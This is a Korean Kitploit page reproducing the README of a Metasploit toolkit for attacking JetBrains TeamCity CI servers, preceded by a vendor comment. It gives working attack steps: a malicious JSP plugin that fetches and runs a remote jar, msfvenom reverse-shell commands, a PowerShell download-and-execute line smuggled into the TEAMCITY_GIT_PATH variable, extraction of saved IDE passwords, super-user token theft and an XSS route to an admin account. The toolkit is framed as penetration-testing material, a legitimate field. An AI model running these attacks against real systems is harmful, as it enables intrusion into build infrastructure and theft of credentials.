Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/kacperszurek/pentest_teamcity
Exploit FrameworksPayload GenerationWeb Application ExploitationPost-ExploitationPenetration TestingRed Teaming
GitHubkacperszurek/pentest_teamcity

pentest_teamcity

Metasploit을 사용하여 TeamCity 침투 테스트

저장소 보기
45828년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Metasploit을 사용한 TeamCity 펜테스트

TL;DR: JetBrains IDE(IntelliJ나 PyCharm 등)에서 비밀번호를 획득하고, 해당 자격 증명을 TeamCity CI 서버에서 사용하여 Kacper Szurek의 metasploit을 통해 서버 및 빌드 에이전트에서 meterpreter 세션을 얻습니다.

Jetbrains.rb module

Shell on server

Shell on agents

Shell on Windows agents

JetBrains 코멘트

이 글은 Yegor Yarko가 작성한 벤더(JetBrains TeamCity 팀) 코멘트입니다.

기사 내용의 대부분은 악의적인 사용자가 TeamCity에서 정당하게 부여된 권한을 남용할 수 있는 방법을 설명합니다. 예를 들어 시스템 관리자 역할(서버에 대한 전체 제어 권한 부여)을 가진 사용자는 악성 TeamCity 플러그인을 설치하거나 서버에 대한 "슈퍼 유저" 액세스 토큰을 얻을 수 있습니다. 또한 프로젝트 관리자 역할을 가진 사용자는 에이전트에서 임의 코드를 실행하거나 구성된 저장소 액세스 비밀번호를 검색할 수 있습니다. 이러한 동작은 제품으로서 TeamCity가 제공하는 기능의 일부입니다. 이러한 고려 사항은 TeamCity 문서의 관련 섹션에 설명되어 있습니다.

설명된 문제들은 악의적인 행위자에게 높은 권한을 부여하는 것이 얼마나 위험한지 보여줍니다. TeamCity 서버 관리자는 잠재적으로 악의적인 사용자가 남용할 수 있는 권한을 부여하지 않도록 사용자 권한을 정기적으로 검토해야 하며, 게스트 사용자 권한이 활성화되어 있다면 이를 검토해야 합니다. 또 다른 중요한 점은 일반적이지 않은 권한으로 어디에 로그인한 상태에서 터미널을 방치하지 않는 것입니다.

OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` 이를 통해 meterpreter를 다운로드하고 실행할 수 있습니다. 컴파일된 `.jar` 파일은 [여기](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)에 있습니다.

다만 기사에서는 두 가지 실제 보안 문제가 언급되었습니다. 하나는 악성 빌드 아티팩트를 게시하고 관리자 사용자가 이를 브라우저에서 보도록 만드는 것이고, 다른 하나는 사용자 정의 빌드를 실행할 수 있는 권한을 TeamCity 에이전트에서 임의 코드 실행으로 승격시키는 것입니다. 후자는 이 권한을 가진 사용자가 이미 에이전트에서 임의 코드를 실행할 수 있는 능력을 정기적으로 보유하고 있기 때문에 대부분의 TeamCity 설치에 미치는 영향이 미미합니다.

그럼에도 불구하고 우리는 이러한 문제를 가까운 시일 내에 해결할 TeamCity 릴리스 중 하나에서 다룰 예정이며, 이를 알려주셔서 감사합니다.

소개

JetBrains 스택을 사용하는 소프트웨어 회사 내부에서 침투 테스트를 수행하고 있다고 가정해 봅시다. 여러분은 metasploit을 사용하여 개발자 컴퓨터에서 meterpreter 세션을 획득했습니다.

다음으로 무엇을 할 수 있을까요? 2015년 Nikhil SamratAshok Mittal의 TeamCity 펜테스트에 관한 기사가 하나 있습니다.

이 글에서는 Security Notes와 BugTrack의 여러 기법을 결합하여 Metasploit 모듈로 만들었습니다.

참고: 여기서는 어떤 0day도 사용하지 않습니다. 모든 작업에는 유효한 TeamCity 자격 증명이 필요합니다. JetBrains 코멘트를 참조하세요.

이 스크립트로 인해 발생한 손상에 대해 책임지지 않습니다. 데이터 안전을 위해 set CLEANUP false와 함께 사용하세요.

테스트 환경: TeamCity 2017.2.1 (build 50732).

목차

  • JetBrains 코멘트
  • 설치
  • JetBrains IDE에서 비밀번호 획득
    • JetBrains metasploit 모듈
  • TeamCity 서버 펜테스트
    • 서버에서 셸 얻기
    • 빌드 에이전트에서 셸 얻기
    • Windows 빌드 에이전트에서 셸 얻기
    • 슈퍼 유저
    • 저장된 자격 증명
    • XSS를 이용한 관리자 계정
    • 게스트 사용자
    • TeamCity metasploit 모듈
  • 문제 해결

설치

KeePass 데이터베이스 디코딩을 위해 kdbx Ruby 라이브러리가 필요합니다.

  1. gem 파일 찾기: find / -name "metasploit-framework.gemspec"
  2. 편집(Kali Linux의 경우): vim /usr/share/metasploit-framework/metasploit-framework.gemspec
  3. 추가: spec.add_runtime_dependency 'kdbx', '0.2.0'
  4. cd /usr/share/metasploit-framework/ && bundle install

이제 다음을 수행할 수 있습니다.

  1. mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/post
  2. teamcity.rb와 serverplugin.zip을 ~/.msf4/modules/exploits에 복사합니다.
  3. jetbrains.rb를 ~/.msf4/modules/post에 복사합니다.
  4. Metasploit 콘솔 msfconsole 실행
  5. 플러그인 다시 로드 reload_all

JetBrains IDE에서 비밀번호 획득

TeamCity는 플러그인을 사용하여 모든 JetBrains IDE와 쉽게 통합할 수 있습니다.

TeamCity integration - login window

Remember me 옵션을 사용하면 비밀번호가 IntelliJ Platform Credentials Store API를 사용하여 저장됩니다. 소스 코드는 여기에서 찾을 수 있습니다.

Windows에서의 복호화 과정은 다음과 같습니다.

Passwords Schema

  1. pdb.pw 파일은 Windows CryptUnprotectData를 사용하여 복호화됩니다. 즉, 데이터를 암호화한 사용자만 해당 데이터를 해독할 수 있습니다.
  2. Blob은 정적 비밀번호를 사용하는 AES-128-CBC로 복호화됩니다. 이 비밀번호는 변경되지 않으며 모든 제품과 설치 환경에서 동일합니다.
  3. 이제 c.kdbx KeePass 데이터베이스는 2번 항목의 Master Password를 사용하여 복호화할 수 있습니다.
  4. 비밀번호는 0xDFAA로 XOR됩니다.

기본적으로 Master Password는 무작위입니다. 옵션에서 변경할 수 있습니다.

Change Master Password

하지만 이는 아무것도 바꾸지 않습니다.

이는 단지 KeePass 데이터베이스 c.kdbx가 다른 비밀번호로 암호화된다는 의미일 뿐입니다. 로컬 사용자는 여전히 pdb.pw 파일에서 이 비밀번호를 쉽게 얻을 수 있습니다.

JetBrains metasploit 모듈

#1에 유효한 Meterpreter 세션이 있다고 가정해 봅시다.``` use post/jetbrains set SESSION 1 exploit

root@kitploit:~
출력은 다음과 같습니다:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit

[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed

TeamCity 서버 침투 테스트

지금 현재 JetBrains metasploit 모듈에서 TeamCity 자격 증명을 확보한 상태입니다. 현재 사용자 역할에 따라 다음을 수행할 수 있습니다:

단순 인증 모드

서버에서 셸빌드 에이전트에서 셸슈퍼 사용자저장된 자격 증명
관리자✔️✔️✔️✔️
모든 프로젝트에 대해
로그인한 사용자❌✖️
Windows 에이전트에서만
❌❌
게스트 사용자❌❌❌❌

프로젝트별 인증 모드:

서버에서 셸빌드 에이전트에서 셸슈퍼 사용자저장된 자격 증명
시스템 관리자✔️✔️✔️✔️
모든 프로젝트에 대해
프로젝트 관리자❌✔️❌✔️
프로젝트 개발자❌✖️
Windows 에이전트에서만
❌❌
프로젝트 뷰어❌❌❌❌

참고: metasploit 모듈은 사용자 정의 역할을 지원하지 않습니다.

서버에서 셸 실행

TeamCity는 플러그인을 사용하여 쉽게 확장할 수 있습니다.

플러그인 목록

이 기능을 사용하여 meterpreter 세션을 실행하는 악성 플러그인을 만들 수 있습니다.

  1. 이 튜토리얼을 사용하여 악성 플러그인을 만듭니다. Hello.jsp 안에 다음을 넣습니다: ```java <%@ page import="java.io.File" %>
  1. Server Administration->Diagnostics->Browse Data Directory로 이동하여 플러그인을 plugins 디렉터리에 업로드합니다. (http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)

Upload plugin

  1. Server Administration->Diagnostics->Troubleshooting->Restart server를 사용하여 서버를 재시작합니다. (http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)

Restart server

  1. 이제 http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jar 를 사용하여 임의의 .jar 파일을 실행할 수 있습니다.

빌드 에이전트에서 셸

TeamCity Build Agent는 TeamCity 서버의 명령을 수신하고 실제 빌드 프로세스를 시작하는 소프트웨어입니다. TeamCity 서버와 별도로 설치 및 구성됩니다. 에이전트는 서버와 동일한 컴퓨터에 설치하거나 다른 컴퓨터에 설치할 수 있습니다.

공격 과정은 다음과 같습니다:

Shell on Build Agents

간단히 말하면, git 서버에 호스팅된 java meterpreter를 생성합니다. 그런 다음 git 서버에서 meterpreter를 다운로드하여 명령줄을 통해 에이전트에서 실행하는 빌드 구성을 만듭니다.

1. meterpreter 페이로드를 생성합니다: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar

2. Git 서버에 meterpreter.jar를 호스팅합니다 (예: https://gogs.io/)

3. System Administrator 권한이 있으면 새 프로젝트를 만들 수 있습니다 (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu). Project Developer라면 접근 권한이 있는 프로젝트를 편집해야 합니다.

Create project

4. 2번 항목의 데이터를 사용하여 프로젝트에 VCS root를 추가합니다.

Add VCS root

5. 새 빌드 구성을 생성합니다.

Build configuration

6. 빌드 구성에 빌드 단계를 추가합니다.

Create build step

키값
러너 유형명령줄
실행 단계빌드 중지 명령이 실행되었더라도 항상
실행매개변수가 있는 실행 파일
명령 실행 파일%teamcity.agent.jvm.java.home%/bin/java
명령 매개변수-jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar

7. metasploit multi handler를 준비합니다: ``` use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lport 4444 set lhost 192.168.1.11 exploit

root@kitploit:~
8\. 모든 호환 에이전트에서 개인 맞춤 빌드 실행

![Run build](https://assets.kitploit.com/production/public/readmes/1821/13e0ed80e97414169177b89b62ba1abbd621cbb14af21adaaeeec781ad3e9806.png)

## Windows 빌드 에이전트에서의 셸

기본적으로 `Project Developer`는 빌드 단계를 수정하거나 생성할 수 없습니다.

따라서 악성 명령줄을 추가하고 실행하는 것은 불가능합니다.

Windows에서 [사용자 지정 환경 변수 ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables)를 사용하여 이를 우회할 수 있습니다. 어떻게요?

Teamcity는 [에이전트에서 git 체크아웃](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode)을 지원합니다.

빌드 단계 실행 전에 에이전트는 git 서버에서 최신 데이터를 다운로드합니다:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}

Agent는 환경 변수 TEAMCITY_GIT_PATH가 존재하는지 확인합니다. 존재한다면 git 바이너리의 경로로 사용됩니다.

TeamCity 프로젝트 개발자는 접근 권한이 있는 빌드를 실행하고 사용자 정의 환경 변수를 지정할 수 있습니다.

따라서 env.TEAMCITY_GIT_PATH를 다음과 같이 설정합니다:``` "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

root@kitploit:~
![환경 변수를 사용한 빌드](https://assets.kitploit.com/production/public/readmes/1821/511202e7fe7a7cdebf304ecae6bfc543e845a73df55cc880ee102d5fcb17ba6f.png)

빌드 로그에서는 다음과 같이 표시됩니다:```
[2018-01-30 20:54:55,342]   INFO -      jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"

[2018-01-30 20:54:55,343]   INFO -      jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718]   WARN -      jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+                                                                   ~~~~~~~
    + CategoryInfo          : ObjectNotFound: (version:String) [], CommandNotF
   oundException
    + FullyQualifiedErrorId : CommandNotFoundException

슈퍼 사용자

TeamCity에는 슈퍼 사용자 계정이라는 것이 있습니다. 자격 증명이 기억나지 않거나 인증 관련 설정을 수정해야 하는 경우 시스템 관리자 권한으로 서버 UI에 액세스할 수 있습니다.

System Administrator 권한이 있다면 Server Administration->Diagnostics->Server logs->teamcity-server.log로 이동하여 Super user authentication token 문자열을 검색하세요 (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):``` [2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.

root@kitploit:~
이제 다음을 사용하여 로그인할 수 있습니다: `http://teamcity/login.html?super=1`

## 저장된 자격 증명

TeamCity는 `VCS root passwords`, `password parameters` 또는 `SSH keys`와 같은 항목을 암호화된 형태로 저장하며 웹 또는 API 인터페이스에서 해당 내용을 표시하지 않습니다.

하지만 `export` 기능을 사용하면 이를 우회할 수 있습니다. **내 프로젝트->Settings Export->Export**로 이동하세요.

![프로젝트 내보내기](https://assets.kitploit.com/production/public/readmes/1821/767b81ac9f2ffb885af6d11864fc3926e7972adcaa44a731c314f0f3601174e0.png)

이 파일들은 다음과 같습니다:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
  <name>exploiter</name>
  <parameters />
  <project-extensions>
    <extension id="PROJECT_EXT_2" type="OAuthProvider">
      <parameters>
        <param name="displayName" value="Docker Registry" />
        <param name="providerType" value="Docker" />
        <param name="repositoryUrl" value="https://docker.io" />
        <param name="secure:userPass" value="zxxyour_encrypted_passwords" />
        <param name="userName" value="my_user_name" />
      </parameters>
    </extension>
  </project-extensions>
  <cleanup />
</project>

암호화된 문자열은 zxx로 시작하며 정적 키를 사용한 DES로 인코딩됩니다.

XSS를 이용한 관리자 계정

Teamcity Bug Tracker #TW-27206에서 확인할 수 있듯이: Malicious data in build artifacts can initiate XSS attack.

현재 빌드 산출물의 모든 .html(및 일부 다른) 파일은 클릭하면 브라우저에서 렌더링됩니다.

저는 새 관리자 계정을 만들려고 시도하는 작은 코드 조각을 만들었습니다.

이 공격은 어떤 모습일까요? 관리자가 http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html과 같은 URL에서 제공되는 악성 아티팩트를 방문하도록 유도합니다.

XSS

게스트 사용자

TeamCity에서 게스트 로그인을 활성화하면 TeamCity 웹 UI에 익명으로 액세스할 수 있습니다.

서버 관리자는 Administration | Authentication page에서 게스트 로그인을 활성화할 수 있습니다.

이를 사용하여 빌드 산출물을 얻을 수 있습니다.

TeamCity Metasploit 모듈

기본 사용법:``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit

root@kitploit:~
출력은 다음과 같습니다:

| 이름 | 설명 |
|:---:|:---:|
|PROJECT_ID|프로젝트 ID를 지정합니다. 기본적으로 새 임의 프로젝트를 생성합니다|
|BUILD_TYPE_ID|빌드 유형 ID를 지정합니다. 기본적으로 새 임의 빌드 유형을 생성합니다|
|VCS_ID|VCS ID를 지정합니다. 기본적으로 새 임의 VCS를 생성합니다|
|CLEANUP|생성된 프로젝트/빌드/VCS 루트를 삭제합니다|
|SERVER_PLUGIN|[serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)의 경로|
|GIT_PATH|GIT 디렉터리의 경로|

# 문제 해결

  1. Metasploit 모듈을 로드할 수 없습니다

  `teamcity.rb`를 `~/.msf4/modules/exploits`에, `jetbrains.rb`를 `~/.msf4/modules/post` 디렉터리에 복사했는지 다시 확인하세요.
  Metasploit은 exploit 모듈이 `exploits` 디렉터리 안에, post 모듈이 `post` 디렉터리 안에 있어야 합니다.

  2. 경고! 다음 모듈을 로드할 수 없습니다! LoadError cannot load such file -- kdbx

  [kdbx 모듈](#installation)을 설치했습니까? 설치했다면 Metasploit을 종료하고 다시 실행하세요. `reload_all` 명령을 사용하세요.

  3. Mac/Linux에 설치된 IDE에서 암호를 가져올 수 없습니다

  현재는 Windows만 지원됩니다. 죄송합니다.

  4. Post failed: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operation failed: 1

  아마도 java meterpreter를 사용 중일 것입니다. 여기에는 중요한 일부 API가 없습니다. `windows/meterpreter/reverse_tcp`로 마이그레이션한 후 다시 시도하세요.

  5. SYSTEM으로 실행 중이며 데이터를 복호화할 수 없습니다

  암호가 `CryptUnprotectData` API를 사용하여 암호화되므로 디코딩 함수는 일반 사용자 계정 컨텍스트에서 실행되어야 합니다.

  6. [서버 셸](#shell-on-server)을 얻지 못합니다

  exploit을 두 번째 실행하세요.

  7. 현재 사용자에게 충분한 권한이 있어도 `teamcit.rb`가 작동하지 않습니다

  이 모듈은 사용자 지정 역할을 지원하지 않습니다.

  8. %path%에서 git을 찾을 수 없습니다. GIT_PATH를 변경하세요

  meterpreter를 호스팅할 Git Server를 설정하려면 `git` 및 `git-upload-pack` 바이너리가 필요합니다. [여기](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html)에서 아이디어를 얻었습니다.

    ```
    set GIT_PATH /your/path/to/git/dir
    ```

  9. `username:password`로 로그인할 수 없습니다

  자격 증명을 다시 확인하세요:

    set USERNAME your_user_name
    set PASSWORD your_password

  10. 서버 플러그인을 찾을 수 없습니다: %path%. SERVER_PLUGIN을 수정하세요

  [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)이 저장된 위치를 지정하세요

    set SERVER_PLUGIN /your/path/to/serverplugin.zip

  11. [-] Exploit failed: Rex::RuntimeError The supplied resource  is already added.

  `jobs -K`를 사용하여 백그라운드 작업을 종료하세요.

  12. LHOST를 특정 IP 주소에 바인딩하세요. 0.0.0.0이 아니라.

  즉, 특정 IP 주소에 바인딩하세요:  ```
  use LHOST 192.168.1.123
  1. Exploit이 실패로 인해 중단됨: 알 수 없음: %project_name%을(를) 수정할 수 없습니다

특정 프로젝트에 대한 권한이 없습니다. 어떤 프로젝트에 액세스 권한이 있는지 확인하세요, 즉: ``` You can modify only following projects: ["test", "second"]

root@kitploit:~
그런 다음 프로젝트 ID를 지정합니다:  ```
set PROJECT_ID test
  1. 왜 java/meterpreter/reverse_tcp만 사용할 수 있나요?

이식성이 좋기 때문입니다. is_payload_compatible? 함수를 자유롭게 수정하세요.

  1. 기타 문제

디버깅 활성화:

root@kitploit:~
set HttpTrace 1
set LogLevel 3
도구 다운로드